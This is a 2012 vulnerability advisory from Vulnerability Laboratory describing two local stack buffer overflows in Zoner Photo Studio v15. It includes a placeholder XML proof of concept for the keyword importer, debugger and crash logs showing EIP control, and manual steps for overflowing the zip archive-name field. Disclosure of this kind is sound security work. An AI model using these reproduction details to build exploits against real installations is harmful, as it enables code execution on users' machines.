Title:
======
Zoner Photo Studio v15 b3 - Buffer Overflow Vulnerabilities

Date:
=====
2012-11-13

References:
===========
http://www.vulnerability-lab.com/get_content.php?id=759

VL-ID:
=====
759

Common Vulnerability Scoring System:
====================================
4.5

Introduction:
=============
Mit dem Bildverwalter `Zoner PhotoStudio` sammeln Sie Ihre digitalen Fotos unter einer Oberfl�che. Die �bersichtliche Benutzeroberfl�che
von `Zoner PhotoStudio` und der gro�e Funktionsumfang machen es Ihnen einfach, Ihre Bilder zu versch�nern und mit Freunden zu teilen.
Eines der Highlights der Software ist die M�glichkeit, eigene 3D-Bilder zu entwerfen. Die fertigen Fotos k�nnen mit einer handels�blichen
3D-Brille dreidimensional bestaunt werden. Weiter k�nnen Sie Diashows anlegen, Ihre Bilder im Internet ver�ffentlichen oder Panorama-Fotos
erstellen, wobei Ihnen das Programm ganz unkompliziert unter die Arme greift.

(Copy of the Homepage: http://www.zoner.com/de-de/download-photo-studio-free )

Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Buffer Overflow Vulnerabilities in the official Zoner Photo Studio Software v15 (b3).

Report-Timeline:
================
2012-11-13: Public Disclosure

Status:
========
Published

Affected Products:
==================
Zoner Software
Product: Zoner Photo Studio v15 Build 3

Exploitation-Technique:
=======================
Local

Severity:
=========
High

Details:
========
Multiple local buffer overflow vulnerabilities are detected in the in the official Zoner Photo Studio Software v15 (b3).
The bug allows local attackers to escalate out of the affected vulnerable software module with system process privileges.
The vulnerabilities are detected in 2 different software functions of the main executeable (zps.exe).

1.1
The first local buffer overflow vulnerability is located in the XML `Keyword Import (Schl�sselwort)` module. The xml
importer does not parse the length (values) of the string (name & description) when processing to import (buffer).
The result is a local exploitable stack-based Buffer Overflow vulnerability.

Vulnerable Module(s):
    [+] Setting(Einstellungen) > Keyword XML Import/Export (ZPS14Keywords.xml)

Vulnerable Parameter(s):
    [+] Name
    [+] Description

1.2
The secound vulnerability is located in the `Publizieren > Per Mail versenden` (STRG+UMS+M) module. The module allows an local user
to publish .zip compressed files. The archivname field does not filter or sanitize large inputs when processing to load  (buffer)
the compressed file name extensions. The result is a local exploitable stack-based Buffer Overflow vulnerability. 

Vulnerable Module(s):
    [+] Publizieren > Per Mail versenden > [Zip Comprimierung der Bilder]

Vulnerable Parameter(s):
    [+] Archivname

Proof of Concept:
=================
1.1
The buffer overflow vulnerability can be exploited by local attackers with local privileged system user account and without required user inter action.
For demonstration or reproduce ...

PoC: [XML] ZPS14Keywords.xml  | Setting(Einstellungen) > Keyword Import/Export
<?php
header('Content-Type: text/xml');
print '<?xml version="1.0" encoding="UTF-8"?><keywords version="2.0"><hierarchy>
  <keyword category="yes" name="Security Researchers">
   <keyword category="no" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!];" description="31337;" />
   <keyword category="no" name="Benjamin Kunz Mejri" />
   <keyword category="no" name="PenTest23" />
   <keyword category="no" name="PenTest24" />
   <keyword category="no" name="PenTest25" />
   <keyword category="no" name="PenTest26" />
   <keyword category="no" name="PenTest26" />
   <keyword category="no" name="PenTest27" />
   <keyword category="no" name="PenTest28" />
   <keyword category="no" name="PenTest29" />
   <keyword category="no" name="PenTest30" />
  </keyword>
  <keyword category="yes" name="News">
   <keyword category="no" name="31337;" description="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!];" />
   <keyword category="no" name="Chokri Ben Achour" />
   <keyword category="no" name="PenTest32" />
   <keyword category="no" name="PenTest33" />
   <keyword category="no" name="PenTest34" />
   <keyword category="no" name="PenTest35" />
   <keyword category="no" name="PenTest36" />
   <keyword category="no" name="PenTest37" />
   <keyword category="no" name="PenTest38" />
   <keyword category="no" name="PenTest39" />
   <keyword category="no" name="PenTest40" />
  </keyword>
  <keyword category="yes" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!]">
   <keyword category="yes" name="31337;" />
   <keyword category="no" name="Ibrahim El-Sayed" />
   <keyword category="no" name="PenTest41" />
   <keyword category="no" name="PenTest42" />
   <keyword category="no" name="PenTest43" />
   <keyword category="no" name="PenTest44" />
   <keyword category="no" name="PenTest45" />
   <keyword category="no" name="PenTest46" />
   <keyword category="no" name="PenTest47" />
   <keyword category="no" name="PenTest48" />
   <keyword category="no" name="PenTest49" />
  </keyword>
 </hierarchy>
</keywords>';
?>

--- Debug Logs ---
(3a98.1840): Access violation - code c0000005
eax=00000000 ebx=00410041 ecx=000031e7 edx=0878dd68 esi=0021ced0 edi=00000000
eip=41414141 esp=0021ce68 ebp=0021cebc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!ZwRaiseException+0x12:
76fd15de 83c404          add     esp,4
0:000> u
ntdll!ZwRaiseException+0x12:
76fd15de 83c404          add     esp,4
76fd15e1 c20c00          ret     0Ch
ntdll!NtRaiseHardError:
76fd15e4 b830010000      mov     eax,130h
76fd15e9 33c9            xor     ecx,ecx
76fd15eb 8d542404        lea     edx,[esp+4]
76fd15ef 64ff15c0000000  call    dword ptr fs:[0C0h]
76fd15f6 83c404          add     esp,4
76fd15f9 c21800          ret     18h
0:000> a
76fd15de !exchain

1.2
The buffer overflow vulnerability can be exploited by local attackers with low privileged system user account and without required user inter action.
For demonstration or reproduce ...

Manually Exploitation/Reproduce: Publizieren > Per Mail versenden > Zip Comprimierung der Bilder > Archivname + FILE.[ZIP] (STRG+UMS+M)

1. Install & start the Zoner Photo Studio Software
2. Click in the main menu the Publizieren button and open the Per Mail versenden function - < STRG+UMS+M >
3. Activate the Zip Compressed Pictures function (Zip Comprimierung der Bilder)
4. Now, you see the standard value (Dateien.zip)
5. Delete one of both words but do not delete the `.` because it is required for a not invalid submission (via OK Button)
6. Include the following example strings  Daten.[+Large String AAAAAA+]  or  [Large String AAAAAA+].zip and click OK!
7. *BAM! Result is a stack-based buffer overflow [overwrites the ebx & eip]

--- Exception Logs ---
EventType=BEX [Buffer Overflow]
EventTime=129972361437653387
ReportType=2
Consent=1
ReportIdentifier=cfbd2b2a-2d1f-11e2-be0d-8c500fdd2fd9
IntegratorReportIdentifier=cfbd2b29-2d1f-11e2-be0d-8c500fdd2fd9
WOW64=1
Response.type=4
Sig[0].Name=Anwendungsname
Sig[0].Value=Zps.exe
Sig[1].Name=Anwendungsversion
Sig[1].Value=14.0.1.7
Sig[2].Name=Anwendungszeitstempel
Sig[2].Value=4fffeaeb
Sig[3].Name=Fehlermodulname
Sig[3].Value=StackHash_24fa
Sig[4].Name=Fehlermodulversion
Sig[4].Value=0.0.0.0
Sig[5].Name=Fehlermodulzeitstempel
Sig[5].Value=00000000
Sig[6].Name=Ausnahmeoffset
Sig[6].Value=41414141        <=== EIP
Sig[7].Name=Ausnahmecode
Sig[7].Value=c0000005
Sig[8].Name=Ausnahmedaten
Sig[8].Value=00000008

--- Debug Logs ---
- Access violation - code c0000005
ebx=00410041
eip=41414141

Risk:
=====
The security risk of the local buffer overflow vulnerabilities are estimated as medium(+)|(-)high.

Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm@vulnerability-lab.com)

Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com    - www.vuln-lab.com          - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com  - support@vulnerability-lab.com         - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com  - forum.vulnerability-lab.com          - news.vulnerability-lab.com
Social:     twitter.com/#!/vuln_lab   - facebook.com/VulnerabilityLab         - youtube.com/user/vulnerability0lab
Feeds:     vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

            Copyright � 2012 | Vulnerability Laboratory

--
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@vulnerability-lab.com